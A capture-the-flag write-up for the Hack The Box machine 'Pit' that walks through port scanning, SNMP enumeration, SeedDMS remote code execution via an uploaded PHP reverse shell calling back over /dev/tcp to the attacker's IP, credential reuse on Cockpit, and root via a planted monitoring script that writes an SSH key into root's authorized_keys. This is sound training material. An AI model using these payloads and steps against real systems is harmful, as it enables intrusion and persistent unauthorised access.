Box Info
  • Name: Pit
  • OS: Linux
  • Difficulty: Medium
  • IP:
  • Points: 30
  • Machine Creator: polarbearer, GitbParadox


Pit is a fun box where SNMP Data reveals that seeddms instance is running, which is vulnerable to RCE.

The box has CentOS’s Cockpit Web Console on port 9090, which uses reused password from DB credentials. This gives access to user shell.

LinPeas reveals there is a monitoring service, which runs bash scripts in a particular directory. Chaining this with SNMPwalk gives us root.


Masscan Results

Masscan found 4 open ports.

sudo masscan "" -p1-65535,U:1-65535 --rate=500 -e tun0

Starting masscan 1.0.5 ( at 2021-05-17 15:27:03 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 9090/tcp on
Discovered open port 161/udp on
Discovered open port 22/tcp on
Discovered open port 80/tcp on

Nmap Results (trimmed)

We then input the ports we got from masscan to nmap. These are port 22(ssh), 80 & 9090(http), 161(snmp).

sudo nmap -sC -sV -oN -p 80,22,9090,161

# Nmap 7.80 scan initiated Sun May 16 13:54:52 2021 as: nmap -sC -sV -oA nmap
Nmap scan report for pit.htb (
Host is up (0.14s latency).
Not shown: 997 filtered ports
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
161/tcp  filtered snmp
9090/tcp open  ssl/zeus-admin?
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:
| Not valid before: 2020-04-16T23:29:12
|_Not valid after:  2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at .
# Nmap done at Sun May 16 13:58:25 2021 -- 1 IP address (1 host up) scanned in 213.64 seconds


Visiting port 80 and 9090

Port 80 just has a default nginx page as nmap prints nginx/1.14.1.

Port 9090 has a centos login page which nmap identified as ssl/zeus-admin? which actually Cockpit Web Console1. This service has SSL enabled.

In the certificate for https://pit.htb:9090 , we observe that it is meant for dms-pit.htb. This is same which is reported by nmap. We thus add dms-pit.htb to /etc/hosts file. pit.htb dms-pit.htb

Here, dms is Document Management System.

Visiting http://dms-pit.htb/ we get nothing but a 403 Forbidden nginx page.

SNMP on port 161

There is a nice read by rapid7: SNMP Data Harvesting During Penetration Testing

Following this guide, we download

# Downloading prerequisites
sudo apt-get install snmp
sudo cpan -i NetAddr::IP

# Downloading
git clone

We the run the script

cd snmp
./ public 2 1

We get a ton of log. If you are interested view the whole output here:

The following is the extact of the output which is interesting!

# Line No 1582
. = STRING: "/var/www/html/seeddms51x/seeddms"

# Line No 1615
. = STRING: "/usr/bin/monitor"

# Line No 1664
. = STRING: "CentOS Linux release 8.3.2011"

# Line No 1684
. = STRING: "michelle             user_u               s0                   *"
. = STRING: "root                 unconfined_u         s0-s0:c0.c1023       *"
  • We get 2 users: michelle and root.
  • The box is running CentOS Linux release 8.3.2011.
  • There is something called seeddms at /var/www/html/seeddms51x/seeddms. (related to DMS we saw before)
  • There is a binary monitor at /usr/bin/monitor.

Accessing SeedDMS

We found seeddms in the SNMP log, and we also have dms-pit.htb.

Visiting http://dms-pit.htb/seeddms51x/seeddms , redirects us to Login Page:

We can login to this page using credentials:
User ID: michelle and Password: michelle.

On the dashboard, we have a file Upgrade Note. We also have another user Jack

Getting a reverse shell

We find an exploit: SeedDMS versions < 5.1.11 - Remote Command Execution

Following this, we create a PHP file, using which we can

echo "<pre>";
system("bash -i >& /dev/tcp/10.10.██.██/4444 0>&1");
echo "</pre>";

Upload this document to Michelle’s directory by clicking on Add document, enter name and select our reverse shell in Local file.

After the file is uploaded, note the documentid for uploaded doc, that is our reverse shell.

We now listen on port 4444 using netcat nc -lvnp 4444.
We can now get a reverse shell by visiting:


On browsing the box a bit, we find settings.xml at /var/www/html/seeddms51x/data/, which is default location of settings.xml in SeedDMS.

Logging-in to CentOS’s Cockpit Web Console

We can login to https://dms-pit.htb:9090 by using creds michelle:ied^i█████quu

Here we have a Terminal at https://pit.htb:9090/system/terminal , where we get shell access to user michelle and user.txt 🎉

Escalating Privileges

Running LinPeas

We switch out working dir to /var/tmp and upload 2. Then running it by


We get a ton of output as always, of which following was worth considering, which links to Linux PE - ACLs.

Thus, we (as in user michelle) cannot read the file /usr/local/monitoring, but can write and execute it!

The file(bin) mentioned is of similar name as we saw in SNMP log that is /usr/bin/monitor

So, here we find link between /usr/bin/monitor and /usr/local/monitoring.

What /usr/bin/monitoring does is, for each file that matches with check*sh in /usr/local/monitoring, it executes that as a bash script.

We can see that /usr/bin/monitor is owned by the user root and root can only execute it!

[michelle@pit ~]$ ls -la /usr/bin/monitor
-rwxr--r--. 1 root root 88 Apr 18  2020 /usr/bin/monitor

Using snmpwalk to get root

So, a possible way here is to have a bash script named check*.sh in /usr/local/monitoring, as user michelle can write to this directory.

This script will get picked up by /usr/bin/monitor whenever it will execute, and the script that we created will also get executed as root 😈.

As in the SNMP log we had /usr/bin/monitor, that does mean that /usr/bin/monitor is executed on crawling with SNMP walk.

So what do we do here is use a tool snmpwalk 3

SNMP walk is an SNMP application that uses SNMP GETNEXT requests to collect SNMP data from network and infrastructure SNMP-enabled devices, such as switches and routers.

Installing snmpwalk:

sudo apt-get install snmpwalk
sudo apt-get install snmp-mibs-downloader
sudo download-mibs

Now, we have many ways to get a shell, we will be using SSH Key-Based Authentication method 4

For that, we add our key to target box’s /root/.ssh/authorized_keys file. So that we can login as ssh root@pit.htb

[michelle@pit ~]$ echo "echo \"ssh-rsa AAAAB██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████= kali@kaliubuntu\" > \
/root/.ssh/authorized_keys" > /usr/local/monitoring/

Finally running snmpwalk from attacker box to run that we just created:

sudo snmpwalk -m +MY-MIB -v2c -c public nsExtendObjects
# -m MIB[:...]		load given list of MIBs (ALL loads everything)
# -v 1|2c|3		    specifies SNMP version to use
# -c COMMUNITY		set the community string

We get root 🏁

  1. ↩︎

  2. ↩︎

  3. ↩︎

  4. ↩︎